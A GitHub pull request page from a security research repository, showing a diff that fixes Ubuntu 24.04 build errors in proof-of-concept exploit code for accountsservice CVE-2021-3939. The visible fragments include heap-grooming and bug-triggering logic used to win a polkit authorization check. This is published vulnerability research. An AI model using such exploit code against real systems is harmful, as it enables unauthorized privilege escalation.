8000 Fix some build failures that happen on Ubuntu 24.04 by kevinbackhouse · Pull Request #854 · github/securitylab · GitHub
[go: up one dir, main page]

Skip to content

Fix some build failures that happen on Ubuntu 24.04 #854

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Jan 9, 2025
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Fix some build failures that happen on Ubuntu 24.04
  • Loading branch information
kevinbackhouse committed Nov 16, 2024
commit bf5b0d006f9ec6be5211a92cce58cb462a2e2800
Original file line number Diff line number Diff line change
Expand Up @@ -433,7 +433,7 @@ class Run {

// This is declared outside of the loop because we want to remember the
// the last value that it's set to.
char email[64] = "kevwozere@kevwozere.com";
char email[128] = "kevwozere@kevwozere.com";

// Try to occupy the chunk.
for (size_t i = 0; i < batch_size1; i++) {
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -420,7 +420,7 @@ class AccountsHandler : public DBusHandler {
// call the SetEmail method with the same email address as last time, so
// that we trigger a polkit check that will get approved, but without
// jumbling the memory any further.
char email_[64] = "kevwozere@kevwozere.com";
char email_[128] = "kevwozere@kevwozere.com";

private:
int quit() {
Expand Down Expand Up @@ -719,7 +719,7 @@ class AccountsHandler : public DBusHandler {
// we don't want.
accounts_set_property(
my_objectpath_.c_str(), "SetEmail", email_,
[this](const DBusMessage&, bool) -> int {
[](const DBusMessage&, bool) -> int {
return 0;
}
);
Expand Down Expand Up @@ -806,13 +806,13 @@ int main(int argc, char* argv[]) {
EPollManager manager(loop);

DBusAuthHandler* polkit_auth_handler =
new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager));
new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager));
if (loop.add_handler(polkit_auth_handler) < 0) {
throw Error(_s("Failed to add PolkitHandler"));
}

DBusAuthHandler* accounts_auth_handler =
new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager));
new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager));
if (loop.add_handler(accounts_auth_handler) < 0) {
throw Error(_s("Failed to add AccountsHandler"));
}
Expand Down
14 changes: 7 additions & 7 deletions SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -428,7 +428,7 @@ class AccountsHandlerBase : public DBusHandler {
// call the SetEmail method with the same email address as last time, so
// that we trigger a polkit check that will get approved, but without
// jumbling the memory any further.
char email_[64] = "kevwozere@kevwozere.com";
char email_[128] = "kevwozere@kevwozere.com";

public:
AccountsHandlerBase(
Expand Down Expand Up @@ -611,7 +611,7 @@ class AccountsHandler : public AccountsHandlerBase {
fflush(stderr);
}

int attempt_exploit() {
int attempt_exploit() override {
choose_batch_size();

return findUserByID(
Expand All @@ -637,7 +637,7 @@ class AccountsHandler : public AccountsHandlerBase {

accounts_set_property(
my_objectpath_.c_str(), "SetEmail", email_,
[this](const DBusMessage&, bool) -> int {
[](const DBusMessage&, bool) -> int {
return 0;
}
);
Expand Down Expand Up @@ -767,7 +767,7 @@ class TriggerBugHandler : public AccountsHandlerBase {
);
}

int attempt_exploit() {
int attempt_exploit() override {
choose_batch_size();

const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
Expand Down Expand Up @@ -868,19 +868,19 @@ int main(int argc, char* argv[]) {
// In the child process, we just continually trigger the bug at
// 1-second intervals.
DBusAuthHandler* trigger_bug_auth_handler =
new DBusAuthHandler(loop, info.uid_, new TriggerBugHandler(info, manager));
new DBusAuthHandler(info.uid_, new TriggerBugHandler(info, manager));
if (loop.add_handler(trigger_bug_auth_handler) < 0) {
throw Error(_s("Failed to add TriggerBugHandler"));
}
} else {
DBusAuthHandler* polkit_auth_handler =
new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager));
new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager));
if (loop.add_handler(polkit_auth_handler) < 0) {
throw Error(_s("Failed to add PolkitHandler"));
}

DBusAuthHandler* accounts_auth_handler =
new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager));
new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager));
if (loop.add_handler(accounts_auth_handler) < 0) {
throw Error(_s("Failed to add AccountsHandler"));
}
Expand Down
0